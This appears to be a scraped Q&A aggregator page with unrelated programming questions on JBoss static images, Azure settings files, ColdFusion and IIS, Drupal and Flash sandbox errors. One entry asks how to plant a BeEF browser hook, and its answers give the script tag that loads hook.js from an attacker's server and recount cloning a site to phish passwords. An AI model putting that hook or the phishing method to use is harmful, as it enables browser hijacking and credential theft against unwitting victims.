Showing an image as url using jboss 7.1 - linux

Friends I want to show an image like
http://xxx.xxx.xx.xx:8085/images/c4.jpg
But don't understand how to do it from my server cane any one helpme i am using jboss-as-7.1.1.Final all the helps are available foe Jboss 6.
Actually my requirement is in server i want to keep a directory where all the image will be store and I can access any image will url
I am using Linux environment .

You can create a images directory under jboss-as-7.1.1.Final/welcome-content, as long as you haven't disabled that in your configuration. Your config file (e.g. standalone.xml) should have:
<virtual-server name="default-host" enable-welcome-root="true">
Alternatively you can deploy static content. See a example in http://java.dzone.com/articles/deploying-static-content-jboss

Related

How to set a BeEF hook to a page

I need to know how to set a BeEF hook to a page of my liking(an existing web page or a new custom page). I tried sharing the demo page but only works on the hosting machine only. I've looked for tutorials but couldn't find any. Please help!
I'm pretty sure You have to host the hook.html file on a hosting service Then direct the victim there. also need to edit the yml file. I remember back in the myspace days you could get on backtrack_r3,
Load up setoolset and clone myspace.
Then you uploaded that file on a file host service. Make a stupid post with that link in a link shortener. Then tada you had emails and passwords.
Using beef-xss you can generate hook.js.
Supposing that the target navigates the web page target.html, you shall include in that page:
<script src="http://<beef-xss-ip-address>:<beef-xss-port>/hook.js"></script>
Once your target will load target.html it will be hooked by beef-xss tool and you will be able to enumerate it.

Settings.txt with connection string gets removed after publish into Azure

I published my NopCommerce application to azure. as you may know connection string is defined in the settings.txt file under the app_data. It is also published with all files but strange thing is that when I open the settings.txt file. connections string is removed.
It should look like this
DataProvider: SQL Server CE
DataConnectionString: Data Source=|DataDirectory|\Nop.Db.sdf;Persist Security Info=False
but published version looks like that
DataProvider:
DataConnectionString:
Any idea why is that happening? or is there another way to copy directly? I am new on Azure and I couldn't find published files even.
Thanks
you can see the file system and edit \ upload files by using the SCM endpoint, there is good information in this blog: http://blogs.staykov.net/2013/12/windows-azure-secrets-of-web-site.html
Basically you take the url for your site http://<your_site>.azurewebsites.net and add scm to the url so it will be: http://<your_site>.scm.azurewebsites.net. Browsing to this location will give you access to a file browser as well as a set of diagnostics tools.

Getting current IIS app name with ColdFusion

I'm trying to get the current IIS application name in my ColdFusion scripts but I have no idea where to get this information. I want to use the app name to communicate with IIS using cfexecute by running appcmd.exe.
<cfexecute name="c:\windows\system32\inetsrv\APPCMD" arguments="add site /name:#arguments.sitename# /bindings:""http/*:80:#arguments.binding#"" /physicalPath:""#arguments.physicalPath#""" timeout="60"></cfexecute>
The problem is that I can't be sure what the app name is. I could save it somewhere in a db but i'd really like to get it dynamically so the script can run without configuring the appname. If I could be able to fetch it from somewhere (or maybe based on the current hostheader) I could dynamically fill
/name:#arguments.sitename#
I've tried to search how to do this by using PHP and JSP examples, but so far, i haven't been able to find any method on getting the app name.
Following on from #Miguel-F's link (http://www.iis.net/learn/get-started/planning-your-iis-architecture/iis-7-and-iis-8-configuration-reference) in the comments above, there's a file in %windir%\system32\inetsrv\config\ called applicationHost.config that you could read in - this file contains the collection of sites that's configured in IIS. Is that the sort of thing you're after?

Drupal creating organic groups using drupal_execute

I'm trying to create a node programatically and use the Filefield Module to upload a file from a remote url.
The node is being created properly but I can't get the remote url upload working.
Anyone have any experience with this?
After speaking with the maintainer of the module the code can actually be copied from the module. It's around 30 lines that deals with the remote url. Once you have that then you can just pass the resulting file into an array and let filefield deal with the rest.

Security Sandbox Violation - loading filesystem and networking SWF files

I have built my entire website with Flash and embedded several swf objects (slideshows) into it. Everything works fine when I publish it as swf movie, but now that I want to upload my website, an error message occurs saying:
Error #2044: Unhandled SecurityErrorEvent:. text=Error #2140: Security sandbox violation: file:///mylayout.swf cannot load file:///slideshow_1.swf. Local-with-filesystem and local-with-networking SWF files cannot load each other.
I know that it has something to do with the fact that one of the swf files is local to the filesystem and the other local via networking, but in my publish settings, I told it to access local files only. That didn't help.
I am hosting my website at www.all-inkl.com; besides that, I have not uploaded it yet; I'm just testing it offline. I know I should add this code somewhere:
<allow-access-from domain="localhost" secure="true"/>`
but I'm not sure where to add it. Maybe to my timeline?
The crossdomain.xml file should have your server name specified. For example take a look at http://www.msn.com/crossdomain.xml
You will have to specify the domain names there. Your server should also be having a crossdomain.xml. Add the corresponding server name there. For example if you are using localhost, try adding
<allow-access-from domain="localhost" secure="true"/>
check your swf loading paths. try to specify the entire path like "hppt://www.yourdomain.com/yourweb/mylayout.swf" like this for every swf. and set the html code where the swf embed tag for allowScriptAccess : "always"

Resources